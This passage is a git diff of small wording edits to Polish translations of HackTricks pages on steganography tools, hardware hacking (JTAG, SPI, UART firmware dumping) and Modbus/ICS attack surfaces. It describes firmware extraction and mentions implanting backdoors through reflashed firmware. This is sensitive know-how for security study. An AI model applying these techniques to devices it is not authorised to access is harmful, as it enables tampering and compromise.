+ +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/stego/stego-tricks.md b/src/stego/stego-tricks.md index a359b8e7c..8beef4a91 100644 --- a/src/stego/stego-tricks.md +++ b/src/stego/stego-tricks.md @@ -20,7 +20,7 @@ foremost -i file # Extracts data ``` ### **Exiftool** -Pomaga w przeglądaniu metadanych plików, dostępne [tutaj](https://www.sno.phy.queensu.ca/~phil/exiftool/). +Pomaga w przeglądaniu metadanych plików, dostępne [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). ```bash exiftool file # Shows the metadata ``` @@ -74,7 +74,7 @@ Aby spróbować naprawić uszkodzony obraz, dodanie komentarza w metadanych moż ``` ### **Steghide do ukrywania danych** -Steghide umożliwia ukrywanie danych w plikach `JPEG, BMP, WAV i AU`, zdolnych do osadzania i wydobywania zaszyfrowanych danych. Instalacja jest prosta za pomocą `apt`, a [kod źródłowy jest dostępny na GitHubie](https://github.com/StefanoDeVuono/steghide). +Steghide ułatwia ukrywanie danych w plikach `JPEG, BMP, WAV i AU`, zdolny do osadzania i wydobywania zaszyfrowanych danych. Instalacja jest prosta za pomocą `apt`, a [kod źródłowy jest dostępny na GitHubie](https://github.com/StefanoDeVuono/steghide). **Polecenia:** @@ -125,7 +125,7 @@ pngcheck stego.png ``` ### **Dodatkowe narzędzia do analizy obrazów** -Aby uzyskać dalsze informacje, rozważ odwiedzenie: +Aby dalej eksplorować, rozważ odwiedzenie: - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -161,11 +161,11 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` ### **Deepsound** -Deepsound umożliwia szyfrowanie i wykrywanie informacji w plikach dźwiękowych za pomocą AES-256. Można go pobrać z [oficjalnej strony](http://jpinsoft.net/deepsound/download.aspx). +Deepsound pozwala na szyfrowanie i wykrywanie informacji w plikach dźwiękowych za pomocą AES-256. Można go pobrać z [oficjalnej strony](http://jpinsoft.net/deepsound/download.aspx). ### **Sonic Visualizer** -Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików audio, Sonic Visualizer może ujawniać ukryte elementy niewykrywalne innymi metodami. Odwiedź [oficjalną stronę](https://www.sonicvisualiser.org/), aby dowiedzieć się więcej. +Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików audio, Sonic Visualizer może ujawniać ukryte elementy niewykrywalne innymi metodami. Odwiedź [oficjalną stronę](https://www.sonicvisualiser.org/), aby uzyskać więcej informacji. ### **DTMF Tones - Dial Tones** diff --git a/src/todo/cookies-policy.md b/src/todo/cookies-policy.md index 0c1de2f16..ecc4231b4 100644 --- a/src/todo/cookies-policy.md +++ b/src/todo/cookies-policy.md @@ -11,11 +11,11 @@ Niniejsza Polityka plików cookie dotyczy następujących stron internetowych na * book.hacktricks.xyz * cloud.hacktricks.xyz -Korzystając z którejkolwiek z tych stron, zgadzasz się na użycie plików cookie zgodnie z niniejszą Polityką plików cookie. Jeśli się nie zgadzasz, proszę wyłączyć pliki cookie w ustawieniach przeglądarki lub powstrzymać się od korzystania z naszych stron. +Korzystając z którejkolwiek z tych stron, zgadzasz się na użycie plików cookie zgodnie z niniejszą Polityką plików cookie. Jeśli się nie zgadzasz, prosimy o wyłączenie plików cookie w ustawieniach przeglądarki lub powstrzymanie się od korzystania z naszych stron. ### Czym są pliki cookie? -Pliki cookie to małe pliki tekstowe, które są przechowywane na Twoim komputerze lub urządzeniu mobilnym, gdy odwiedzasz stronę internetową. Są powszechnie używane do działania stron internetowych, poprawy ich funkcjonalności oraz zapewnienia bardziej spersonalizowanego doświadczenia użytkownika. +Pliki cookie to małe pliki tekstowe, które są przechowywane na Twoim komputerze lub urządzeniu mobilnym, gdy odwiedzasz stronę internetową. Są powszechnie używane do działania stron internetowych, poprawy ich funkcjonalności i zapewnienia bardziej spersonalizowanego doświadczenia użytkownika. ### Jak używamy plików cookie diff --git a/src/todo/hardware-hacking/README.md b/src/todo/hardware-hacking/README.md index 6ef84d4af..f4b8817d9 100644 --- a/src/todo/hardware-hacking/README.md +++ b/src/todo/hardware-hacking/README.md @@ -19,9 +19,9 @@ Może również wspierać inne polecenia, takie jak: Możesz natknąć się na te instrukcje, gdy używasz narzędzia takiego jak JTAGulator. -### The Test Access Port +### Port dostępu do testów -Skanowanie granic obejmuje testy czteroprzewodowego **Test Access Port (TAP)**, uniwersalnego portu, który zapewnia **dostęp do funkcji wsparcia testów JTAG** wbudowanych w komponent. TAP używa następujących pięciu sygnałów: +Skanowanie granic obejmuje testy czteroprzewodowego **Portu Dostępu do Testów (TAP)**, uniwersalnego portu, który zapewnia **dostęp do funkcji wsparcia testów JTAG** wbudowanych w komponent. TAP używa następujących pięciu sygnałów: - Wejście zegara testowego (**TCK**) TCK to **zegarek**, który definiuje, jak często kontroler TAP podejmie pojedynczą akcję (innymi słowy, przejdzie do następnego stanu w maszynie stanów). - Wejście wyboru trybu testowego (**TMS**) TMS kontroluje **maszynę stanów skończonych**. Przy każdym uderzeniu zegara kontroler TAP JTAG urządzenia sprawdza napięcie na pinie TMS. Jeśli napięcie jest poniżej określonego progu, sygnał jest uważany za niski i interpretowany jako 0, natomiast jeśli napięcie jest powyżej określonego progu, sygnał jest uważany za wysoki i interpretowany jako 1. @@ -31,7 +31,7 @@ Skanowanie granic obejmuje testy czteroprzewodowego **Test Access Port (TAP)**, Czasami będziesz mógł znaleźć te piny oznaczone na PCB. W innych przypadkach możesz potrzebować **je znaleźć**. -### Identifying JTAG pins +### Identyfikacja pinów JTAG Naj szybszym, ale najdroższym sposobem na wykrycie portów JTAG jest użycie **JTAGulator**, urządzenia stworzonego specjalnie do tego celu (chociaż może **również wykrywać pinouty UART**). @@ -39,7 +39,7 @@ Ma **24 kanały**, które możesz podłączyć do pinów płyty. Następnie prze Tańszym, ale znacznie wolniejszym sposobem identyfikacji pinów JTAG jest użycie [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) załadowanego na mikrokontrolerze kompatybilnym z Arduino. -Używając **JTAGenum**, najpierw **zdefiniujesz piny urządzenia sondy**, które będziesz używać do enumeracji. Musisz odwołać się do diagramu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu. +Używając **JTAGenum**, najpierw **definiujesz piny urządzenia sondy**, które będziesz używać do enumeracji. Musisz odwołać się do diagramu pinów urządzenia, a następnie połączyć te piny z punktami testowymi na docelowym urządzeniu. **Trzecim sposobem** identyfikacji pinów JTAG jest **inspekcja PCB** w poszukiwaniu jednego z pinoutów. W niektórych przypadkach PCB mogą wygodnie zapewniać **interfejs Tag-Connect**, co jest wyraźnym wskazaniem, że płyta ma również złącze JTAG. Możesz zobaczyć, jak ten interfejs wygląda na [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Dodatkowo, inspekcja **kart katalogowych chipsetów na PCB** może ujawnić diagramy pinów wskazujące na interfejsy JTAG. @@ -47,6 +47,6 @@ Używając **JTAGenum**, najpierw **zdefiniujesz piny urządzenia sondy**, któr SWD to protokół specyficzny dla ARM zaprojektowany do debugowania. -Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO JTAG** oraz zegara, i **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń wspiera **Serial Wire lub JTAG Debug Port (SWJ-DP)**, połączony interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do celu. +Interfejs SWD wymaga **dwóch pinów**: dwukierunkowego sygnału **SWDIO**, który jest odpowiednikiem pinów **TDI i TDO JTAG** oraz zegara, i **SWCLK**, który jest odpowiednikiem **TCK** w JTAG. Wiele urządzeń wspiera **Port Debugowania Szeregowego lub JTAG (SWJ-DP)**, połączony interfejs JTAG i SWD, który umożliwia podłączenie sondy SWD lub JTAG do celu. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md index 540d19ee2..6de77333e 100644 --- a/src/todo/hardware-hacking/jtag.md +++ b/src/todo/hardware-hacking/jtag.md @@ -4,8 +4,8 @@ ## JTAGenum -[**JTAGenum** ](https://github.com/cyphunk/JTAGenum)to narzędzie, które można używać z Raspberry PI lub Arduino, aby spróbować znaleźć piny JTAG z nieznanego układu.\ -W **Arduino** podłącz **piny od 2 do 11 do 10 pinów potencjalnie należących do JTAG**. Załaduj program do Arduino, a on spróbuje brutalnie przeszukać wszystkie piny, aby sprawdzić, czy którykolwiek z nich należy do JTAG i który z nich jest którym.\ +[**JTAGenum** ](https://github.com/cyphunk/JTAGenum)to narzędzie, które można użyć z Raspberry PI lub Arduino, aby spróbować znaleźć piny JTAG z nieznanego układu.\ +W **Arduino** podłącz **piny od 2 do 11 do 10 pinów potencjalnie należących do JTAG**. Załaduj program do Arduino, a on spróbuje brute-force wszystkich pinów, aby sprawdzić, czy którykolwiek z pinów należy do JTAG i który z nich jest którym.\ W **Raspberry PI** możesz używać tylko **pinów od 1 do 6** (6 pinów, więc testowanie każdego potencjalnego pinu JTAG będzie wolniejsze). ### Arduino diff --git a/src/todo/hardware-hacking/radio.md b/src/todo/hardware-hacking/radio.md index 6bd242c21..a12773cf9 100644 --- a/src/todo/hardware-hacking/radio.md +++ b/src/todo/hardware-hacking/radio.md @@ -9,7 +9,7 @@ ### Podstawowa konfiguracja Po zainstalowaniu jest kilka rzeczy, które warto skonfigurować.\ -W ustawieniach (drugi przycisk zakładki) możesz wybrać **urządzenie SDR** lub **wybrać plik** do odczytu oraz częstotliwość do syntonizacji i częstotliwość próbkowania (zalecane do 2.56Msps, jeśli twój komputer to obsługuje)\\ +W ustawieniach (drugi przycisk zakładki) możesz wybrać **urządzenie SDR** lub **wybrać plik**, aby odczytać i na jakiej częstotliwości syntonizować oraz ustawić częstotliwość próbkowania (zalecane do 2,56 Msps, jeśli twój komputer to obsługuje)\\ ![](<../../images/image (245).png>) @@ -57,10 +57,10 @@ Jeśli sprawdzasz sygnał, istnieją różne sposoby, aby spróbować ustalić, - **Wykrywanie AM**: Jeśli na wykresie IQ pojawiają się na przykład **2 okręgi** (prawdopodobnie jeden w 0, a drugi w innej amplitudzie), może to oznaczać, że jest to sygnał AM. Dzieje się tak, ponieważ na wykresie IQ odległość między 0 a okręgiem to amplituda sygnału, więc łatwo jest wizualizować różne amplitudy. - **Wykrywanie PM**: Jak w poprzednim obrazie, jeśli znajdziesz małe okręgi, które nie są ze sobą powiązane, prawdopodobnie oznacza to, że używana jest modulacja fazy. Dzieje się tak, ponieważ na wykresie IQ kąt między punktem a 0,0 to faza sygnału, co oznacza, że używane są 4 różne fazy. -- Zauważ, że jeśli informacja jest ukryta w tym, że faza jest zmieniana, a nie w samej fazie, nie zobaczysz wyraźnie różniących się faz. -- **Wykrywanie FM**: IQ nie ma pola do identyfikacji częstotliwości (odległość do centrum to amplituda, a kąt to faza).\ +- Zauważ, że jeśli informacja jest ukryta w tym, że faza jest zmieniana, a nie w samej fazie, nie zobaczysz wyraźnie różnie zróżnicowanych faz. +- **Wykrywanie FM**: IQ nie ma pola do identyfikacji częstotliwości (odległość do środka to amplituda, a kąt to faza).\ Dlatego, aby zidentyfikować FM, powinieneś **widzieć zasadniczo tylko okrąg** na tym wykresie.\ -Ponadto, inna częstotliwość jest "reprezentowana" przez wykres IQ przez **przyspieszenie prędkości wzdłuż okręgu** (więc w SysDigger wybierając sygnał, wykres IQ jest zapełniony, jeśli znajdziesz przyspieszenie lub zmianę kierunku w utworzonym okręgu, może to oznaczać, że jest to FM): +Ponadto, inna częstotliwość jest "reprezentowana" przez wykres IQ przez **przyspieszenie prędkości wzdłuż okręgu** (więc w SysDigger wybierając sygnał, wykres IQ jest zapełniany, jeśli znajdziesz przyspieszenie lub zmianę kierunku w utworzonym okręgu, może to oznaczać, że jest to FM): ## Przykład AM @@ -80,7 +80,7 @@ A tak wygląda część symbolu z falą: #### Sprawdzanie histogramu -Możesz **wybrać cały sygnał**, w którym znajduje się informacja, wybrać tryb **Amplitudy** i **Wybór**, a następnie kliknąć na **Histogram.** Możesz zaobserwować, że znajdują się tylko 2 wyraźne poziomy. +Możesz **wybrać cały sygnał**, w którym znajduje się informacja, wybrać tryb **Amplituda** i **Wybór**, a następnie kliknąć na **Histogram.** Możesz zaobserwować, że znajdują się tylko 2 wyraźne poziomy. ![](<../../images/image (264).png>) @@ -100,7 +100,7 @@ W tym przykładzie możesz zobaczyć, jak jest **duże koło**, ale także **wie #### Z jednym symbolem -Wybierz najmniejszy symbol, jaki możesz znaleźć (aby mieć pewność, że to tylko 1) i sprawdź "Częstotliwość wyboru". W tym przypadku wynosiłoby to 1.013kHz (czyli 1kHz). +Wybierz najmniejszy symbol, jaki możesz znaleźć (aby mieć pewność, że to tylko 1) i sprawdź "Częstotliwość wyboru". W tym przypadku wynosiłoby to 1.013 kHz (czyli 1 kHz). ![](<../../images/image (78).png>) @@ -125,7 +125,7 @@ Naciskając próbkę, pojawia się to: ![](<../../images/image (644).png>) -Teraz, aby sprawić, by SigDigger zrozumiał **gdzie jest zakres** poziomu przenoszącego informacje, musisz kliknąć na **niższy poziom** i przytrzymać kliknięte, aż do największego poziomu: +Teraz, aby sprawić, by SigDigger zrozumiał **gdzie jest zakres** poziomu przenoszącego informacje, musisz kliknąć na **niższy poziom** i przytrzymać, aż do największego poziomu: ![](<../../images/image (439).png>) @@ -137,7 +137,7 @@ Na koniec **zwiększając** **Zoom** i **zmieniając rozmiar wiersza**, możesz Jeśli sygnał ma więcej niż 1 bit na symbol (na przykład 2), SigDigger **nie ma sposobu, aby wiedzieć, który symbol to** 00, 01, 10, 11, więc użyje różnych **odcieni szarości**, aby reprezentować każdy (a jeśli skopiujesz bity, użyje **liczb od 0 do 3**, będziesz musiał je przetworzyć). -Ponadto, używaj **kodowań** takich jak **Manchester**, a **up+down** może być **1 lub 0**, a **down+up** może być 1 lub 0. W takich przypadkach musisz **przetworzyć uzyskane up (1) i down (0)**, aby zastąpić pary 01 lub 10 jako 0s lub 1s. +Ponadto, używaj **kodowań** takich jak **Manchester**, a **up+down** może być **1 lub 0**, a **down+up** może być 1 lub 0. W takich przypadkach musisz **przetworzyć uzyskane ups (1) i downs (0)**, aby zastąpić pary 01 lub 10 jako 0s lub 1s. ## Przykład FM @@ -183,7 +183,7 @@ A to byłby histogram fazy (co jasno pokazuje, że sygnał nie jest modulowany w IQ nie ma pola do identyfikacji częstotliwości (odległość do centrum to amplituda, a kąt to faza).\ Dlatego, aby zidentyfikować FM, powinieneś **widzieć zasadniczo tylko okrąg** na tym wykresie.\ -Ponadto, inna częstotliwość jest "reprezentowana" przez wykres IQ przez **przyspieszenie prędkości wzdłuż okręgu** (więc w SysDigger wybierając sygnał, wykres IQ jest zapełniony, jeśli znajdziesz przyspieszenie lub zmianę kierunku w utworzonym okręgu, może to oznaczać, że jest to FM): +Ponadto, inna częstotliwość jest "reprezentowana" przez wykres IQ przez **przyspieszenie prędkości wzdłuż okręgu** (więc w SysDigger wybierając sygnał, wykres IQ jest zapełniany, jeśli znajdziesz przyspieszenie lub zmianę kierunku w utworzonym okręgu, może to oznaczać, że jest to FM): ![](<../../images/image (81).png>) diff --git a/src/todo/hardware-hacking/spi.md b/src/todo/hardware-hacking/spi.md index 31d3101b8..66b2bd9f3 100644 --- a/src/todo/hardware-hacking/spi.md +++ b/src/todo/hardware-hacking/spi.md @@ -14,13 +14,13 @@ MOSI (Master Out, Slave In) i MISO (Master In, Slave Out) są odpowiedzialne za Zrzut oprogramowania układowego może być przydatny do analizy oprogramowania i znajdowania w nim luk. Często oprogramowanie układowe nie jest dostępne w Internecie lub jest nieistotne z powodu różnych czynników, takich jak numer modelu, wersja itp. Dlatego wydobycie oprogramowania układowego bezpośrednio z fizycznego urządzenia może być pomocne w poszukiwaniu zagrożeń. -Uzyskanie konsoli szeregowej może być pomocne, ale często zdarza się, że pliki są tylko do odczytu. Ogranicza to analizę z różnych powodów. Na przykład, narzędzia, które są potrzebne do wysyłania i odbierania pakietów, mogą nie być obecne w oprogramowaniu układowym. Dlatego wydobycie binariów do inżynierii odwrotnej nie jest wykonalne. Dlatego posiadanie całego oprogramowania układowego zrzutowanego na systemie i wydobycie binariów do analizy może być bardzo pomocne. +Uzyskanie konsoli szeregowej może być pomocne, ale często zdarza się, że pliki są tylko do odczytu. Ogranicza to analizę z różnych powodów. Na przykład, narzędzia, które są potrzebne do wysyłania i odbierania pakietów, mogą nie być obecne w oprogramowaniu układowym. Dlatego wydobycie binarnych plików do inżynierii odwrotnej nie jest wykonalne. Dlatego posiadanie całego oprogramowania układowego zrzutowanego na systemie i wydobycie binarnych plików do analizy może być bardzo pomocne. Ponadto, podczas red reaming i uzyskiwania fizycznego dostępu do urządzeń, zrzut oprogramowania układowego może pomóc w modyfikacji plików lub wstrzykiwaniu złośliwych plików, a następnie ponownym wgrywaniu ich do pamięci, co może być pomocne w implantacji tylnej furtki w urządzeniu. Dlatego istnieje wiele możliwości, które można odblokować dzięki zrzutom oprogramowania układowego. ### Programator i czytnik EEPROM CH341A -To urządzenie jest niedrogim narzędziem do zrzutu oprogramowania układowego z EEPROM i ponownego wgrywania ich z plikami oprogramowania układowego. To popularny wybór do pracy z chipami BIOS komputerów (które są po prostu EEPROM). To urządzenie łączy się przez USB i wymaga minimalnych narzędzi, aby rozpocząć. Ponadto zazwyczaj szybko wykonuje zadanie, więc może być pomocne również w dostępie do fizycznych urządzeń. +To urządzenie jest niedrogim narzędziem do zrzutowania oprogramowania układowego z EEPROM i ponownego wgrywania ich z plikami oprogramowania układowego. To popularny wybór do pracy z chipami BIOS komputerów (które są po prostu EEPROM). To urządzenie łączy się przez USB i wymaga minimalnych narzędzi, aby rozpocząć. Ponadto zazwyczaj szybko wykonuje zadanie, więc może być pomocne również w dostępie do fizycznych urządzeń. ![drawing](../../images/board_image_ch341a.jpg) @@ -51,7 +51,7 @@ Należy zauważyć, że nawet jeśli PINOUT Pirate Bus wskazuje piny dla **MOSI* ![](<../../images/image (360).png>) -W systemie Windows lub Linux możesz użyć programu [**`flashrom`**](https://www.flashrom.org/Flashrom) do zrzutu zawartości pamięci flash, uruchamiając coś takiego: +W systemie Windows lub Linux można użyć programu [**`flashrom`**](https://www.flashrom.org/Flashrom) do zrzutu zawartości pamięci flash, uruchamiając coś takiego: ```bash # In this command we are indicating: # -VV Verbose diff --git a/src/todo/hardware-hacking/uart.md b/src/todo/hardware-hacking/uart.md index c5e1166fd..94650a5f7 100644 --- a/src/todo/hardware-hacking/uart.md +++ b/src/todo/hardware-hacking/uart.md @@ -22,11 +22,11 @@ Narzędzia sprzętowe do komunikacji z UART: UART ma 4 porty: **TX**(Transmit), **RX**(Receive), **Vcc**(Voltage) i **GND**(Ground). Możesz być w stanie znaleźć 4 porty z literami **`TX`** i **`RX`** **napisanymi** na PCB. Ale jeśli nie ma żadnych wskazówek, możesz potrzebować spróbować znaleźć je samodzielnie, używając **multimetru** lub **analizatora logicznego**. -Z **multimetrem** i urządzeniem wyłączonym: +Z użyciem **multimetru** i urządzenia wyłączonego: - Aby zidentyfikować pin **GND**, użyj trybu **Testu Ciągłości**, umieść czarny przewód w ziemi i testuj czerwonym, aż usłyszysz dźwięk z multimetru. Na PCB można znaleźć kilka pinów GND, więc możesz znaleźć lub nie ten, który należy do UART. -- Aby zidentyfikować port **VCC**, ustaw tryb **DC voltage** i ustaw go na 20 V. Czarny przewód na ziemi, a czerwony na pinie. Włącz urządzenie. Jeśli multimetr mierzy stałe napięcie 3.3 V lub 5 V, znalazłeś pin Vcc. Jeśli otrzymasz inne napięcia, spróbuj z innymi portami. -- Aby zidentyfikować port **TX**, ustaw tryb **DC voltage** na 20 V, czarny przewód na ziemi, a czerwony na pinie, i włącz urządzenie. Jeśli znajdziesz, że napięcie waha się przez kilka sekund, a następnie stabilizuje się na wartości Vcc, najprawdopodobniej znalazłeś port TX. Dzieje się tak, ponieważ podczas włączania wysyła pewne dane debugowania. +- Aby zidentyfikować port **VCC**, ustaw tryb **DC voltage** i ustaw go na 20 V. Czarny przewód na ziemi, a czerwony przewód na pinie. Włącz urządzenie. Jeśli multimetr mierzy stałe napięcie wynoszące 3,3 V lub 5 V, znalazłeś pin Vcc. Jeśli otrzymasz inne napięcia, spróbuj ponownie z innymi portami. +- Aby zidentyfikować port **TX**, ustaw tryb **DC voltage** na 20 V, czarny przewód na ziemi, a czerwony przewód na pinie, a następnie włącz urządzenie. Jeśli zauważysz, że napięcie waha się przez kilka sekund, a następnie stabilizuje się na wartości Vcc, najprawdopodobniej znalazłeś port TX. Dzieje się tak, ponieważ podczas włączania wysyła pewne dane debugowania. - Port **RX** będzie najbliższy pozostałym 3, ma najmniejsze wahania napięcia i najniższą ogólną wartość ze wszystkich pinów UART. Możesz pomylić porty TX i RX i nic się nie stanie, ale jeśli pomylisz porty GND i VCC, możesz uszkodzić obwód. @@ -146,7 +146,7 @@ waiting a few secs to repeat.... ``` ## Zrzut oprogramowania układowego za pomocą konsoli UART -Konsola UART zapewnia doskonały sposób na pracę z podstawowym oprogramowaniem układowym w środowisku uruchomieniowym. Jednak gdy dostęp do konsoli UART jest tylko do odczytu, może to wprowadzać wiele ograniczeń. W wielu urządzeniach wbudowanych oprogramowanie układowe jest przechowywane w EEPROM i wykonywane w procesorach, które mają pamięć ulotną. Dlatego oprogramowanie układowe jest utrzymywane w trybie tylko do odczytu, ponieważ oryginalne oprogramowanie układowe podczas produkcji znajduje się w samym EEPROM, a wszelkie nowe pliki mogłyby zostać utracone z powodu pamięci ulotnej. Dlatego zrzut oprogramowania układowego jest cennym wysiłkiem podczas pracy z wbudowanym oprogramowaniem układowym. +Konsola UART zapewnia doskonały sposób na pracę z podstawowym oprogramowaniem układowym w środowisku uruchomieniowym. Jednak gdy dostęp do konsoli UART jest tylko do odczytu, może to wprowadzać wiele ograniczeń. W wielu urządzeniach wbudowanych oprogramowanie układowe jest przechowywane w EEPROM i wykonywane w procesorach, które mają pamięć ulotną. Dlatego oprogramowanie układowe jest utrzymywane w trybie tylko do odczytu, ponieważ oryginalne oprogramowanie układowe podczas produkcji znajduje się wewnątrz EEPROM, a wszelkie nowe pliki mogłyby zostać utracone z powodu pamięci ulotnej. Dlatego zrzut oprogramowania układowego jest cennym wysiłkiem podczas pracy z wbudowanym oprogramowaniem układowym. Istnieje wiele sposobów, aby to zrobić, a sekcja SPI obejmuje metody ekstrakcji oprogramowania układowego bezpośrednio z EEPROM za pomocą różnych urządzeń. Zaleca się jednak najpierw spróbować zrzutu oprogramowania układowego za pomocą UART, ponieważ zrzut oprogramowania układowego za pomocą urządzeń fizycznych i interakcji zewnętrznych może być ryzykowny. @@ -162,12 +162,12 @@ md ``` które oznacza "zrzut pamięci". To zrzuci pamięć (zawartość EEPROM) na ekran. Zaleca się zapisanie wyjścia z konsoli szeregowej przed rozpoczęciem procedury, aby uchwycić zrzut pamięci. -Na koniec po prostu usuń wszystkie niepotrzebne dane z pliku dziennika i zapisz plik jako `filename.rom`, a następnie użyj binwalk, aby wyodrębnić zawartość: +Na koniec wystarczy usunąć wszystkie niepotrzebne dane z pliku dziennika i zapisać plik jako `filename.rom`, a następnie użyć binwalk do wyodrębnienia zawartości: ``` binwalk -e ``` To będzie lista możliwych zawartości z EEPROM zgodnie z podpisami znalezionymi w pliku hex. -Należy jednak zauważyć, że nie zawsze uboot jest odblokowany, nawet jeśli jest używany. Jeśli klawisz Enter nie działa, sprawdź inne klawisze, takie jak klawisz Spacji itp. Jeśli bootloader jest zablokowany i nie zostanie przerwany, ta metoda nie zadziała. Aby sprawdzić, czy uboot jest bootloaderem dla urządzenia, sprawdź wyjście na konsoli UART podczas uruchamiania urządzenia. Może wspominać o uboot podczas uruchamiania. +Należy jednak zauważyć, że nie zawsze jest tak, że uboot jest odblokowany, nawet jeśli jest używany. Jeśli klawisz Enter nie działa, sprawdź inne klawisze, takie jak klawisz Spacji itp. Jeśli bootloader jest zablokowany i nie zostanie przerwany, ta metoda nie zadziała. Aby sprawdzić, czy uboot jest bootloaderem dla urządzenia, sprawdź wyjście na konsoli UART podczas uruchamiania urządzenia. Może wspominać o uboot podczas uruchamiania. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/industrial-control-systems-hacking/README.md b/src/todo/industrial-control-systems-hacking/README.md index 9f193fe51..3f6af9875 100644 --- a/src/todo/industrial-control-systems-hacking/README.md +++ b/src/todo/industrial-control-systems-hacking/README.md @@ -4,7 +4,7 @@ Ta sekcja zawiera wszystko na temat systemów kontrolnych, w tym koncepcje oraz metodologie ich hackowania z różnymi problemami bezpieczeństwa, które w nich występują. -Systemy kontrolne są wszędzie, ponieważ przemysł jest kluczowy dla rozwoju gospodarczego kraju. Jednak te ICS są trudne do aktualizacji, a postępy w tej dziedzinie są ograniczone. Dlatego znajdowanie luk w zabezpieczeniach jest tutaj powszechne. Większość protokołów i standardów używanych tutaj została opracowana w latach 90-tych i ma znacznie mniejsze możliwości w porównaniu do obecnych scenariuszy ataków. +Systemy kontrolne są wszędzie, ponieważ przemysł jest kluczowy dla rozwoju gospodarczego kraju. Jednak te ICS są trudne do aktualizacji, a postępy w tej dziedzinie są mniejsze. Dlatego znajdowanie luk w zabezpieczeniach jest tutaj powszechne. Większość protokołów i standardów używanych tutaj została opracowana w latach 90-tych i ma znacznie mniejsze możliwości w porównaniu do obecnych scenariuszy ataków. Zabezpieczenie tych systemów stało się ważne, ponieważ ich uszkodzenie może kosztować dużo, a w najgorszym przypadku nawet życie. Aby zrozumieć bezpieczeństwo systemów kontrolnych, konieczne jest poznanie ich wnętrza. diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md index 269b6e553..61544668a 100644 --- a/src/todo/industrial-control-systems-hacking/modbus.md +++ b/src/todo/industrial-control-systems-hacking/modbus.md @@ -12,7 +12,7 @@ Protokół Modbus jest zazwyczaj używany w architekturze klient-serwer, gdzie u ## Wersje szeregowe i Ethernetowe -Protokół Modbus jest zaprojektowany zarówno do komunikacji szeregowej, jak i komunikacji Ethernetowej. Komunikacja szeregowa jest szeroko stosowana w systemach dziedzictwa, podczas gdy nowoczesne urządzenia obsługują Ethernet, który oferuje wysokie prędkości przesyłu danych i jest bardziej odpowiedni dla nowoczesnych sieci przemysłowych. +Protokół Modbus jest zaprojektowany zarówno do komunikacji szeregowej, jak i komunikacji Ethernetowej. Komunikacja szeregowa jest szeroko stosowana w systemach dziedzictwa, podczas gdy nowoczesne urządzenia obsługują Ethernet, który oferuje wysokie prędkości transmisji danych i jest bardziej odpowiedni dla nowoczesnych sieci przemysłowych. ## Reprezentacja danych @@ -20,12 +20,12 @@ Dane są przesyłane w protokole Modbus w formacie ASCII lub binarnym, chociaż ## Kody funkcji -Protokół ModBus działa na podstawie przesyłania specyficznych kodów funkcji, które są używane do obsługi PLC i różnych urządzeń kontrolnych. Ta część jest ważna do zrozumienia, ponieważ ataki powtórzeniowe mogą być przeprowadzane przez retransmisję kodów funkcji. Urządzenia dziedzictwa nie obsługują żadnego szyfrowania przesyłu danych i zazwyczaj mają długie przewody, które je łączą, co prowadzi do manipulacji tymi przewodami i przechwytywania/wstrzykiwania danych. +Protokół ModBus działa na podstawie przesyłania specyficznych kodów funkcji, które są używane do obsługi PLC i różnych urządzeń kontrolnych. Ta część jest ważna do zrozumienia, ponieważ ataki powtórzeniowe mogą być przeprowadzane przez retransmisję kodów funkcji. Urządzenia dziedzictwa nie obsługują żadnego szyfrowania transmisji danych i zazwyczaj mają długie przewody, które je łączą, co prowadzi do manipulacji tymi przewodami i przechwytywania/wstrzykiwania danych. ## Adresowanie Modbus -Każde urządzenie w sieci ma unikalny adres, który jest niezbędny do komunikacji między urządzeniami. Protokóły takie jak Modbus RTU, Modbus TCP itp. są używane do implementacji adresowania i służą jako warstwa transportowa dla przesyłu danych. Dane, które są przesyłane, są w formacie protokołu Modbus, który zawiera wiadomość. +Każde urządzenie w sieci ma unikalny adres, który jest niezbędny do komunikacji między urządzeniami. Protokóły takie jak Modbus RTU, Modbus TCP itp. są używane do implementacji adresowania i służą jako warstwa transportowa dla transmisji danych. Dane, które są przesyłane, są w formacie protokołu Modbus, który zawiera wiadomość. Ponadto, Modbus implementuje również kontrole błędów, aby zapewnić integralność przesyłanych danych. Ale przede wszystkim, Modbus jest otwartym standardem i każdy może go wdrożyć w swoich urządzeniach. To sprawiło, że protokół ten stał się globalnym standardem i jest szeroko stosowany w przemyśle automatyki przemysłowej. -Ze względu na jego szerokie zastosowanie i brak modernizacji, atakowanie Modbus daje znaczną przewagę z jego powierzchnią ataku. ICS jest w dużym stopniu zależne od komunikacji między urządzeniami, a wszelkie ataki na nie mogą być niebezpieczne dla działania systemów przemysłowych. Ataki takie jak powtórzenie, wstrzykiwanie danych, podsłuchiwanie danych i wycieki, Denial of Service, fałszowanie danych itp. mogą być przeprowadzane, jeśli medium przesyłu zostanie zidentyfikowane przez atakującego. +Ze względu na jego szerokie zastosowanie i brak modernizacji, atakowanie Modbus daje znaczną przewagę z jego powierzchnią ataku. ICS jest w dużym stopniu zależne od komunikacji między urządzeniami, a wszelkie ataki na nie mogą być niebezpieczne dla działania systemów przemysłowych. Ataki takie jak powtórzenie, wstrzykiwanie danych, podsłuchiwanie danych i wycieki, Denial of Service, fałszowanie danych itp. mogą być przeprowadzane, jeśli medium transmisji zostanie zidentyfikowane przez atakującego. diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md index 801546aac..9bf766d40 100644 --- a/src/todo/investment-terms.md +++ b/src/todo/investment-terms.md @@ -10,16 +10,16 @@ Zazwyczaj możesz również użyć **aktualnej ceny rynkowej**, aby przeprowadzi 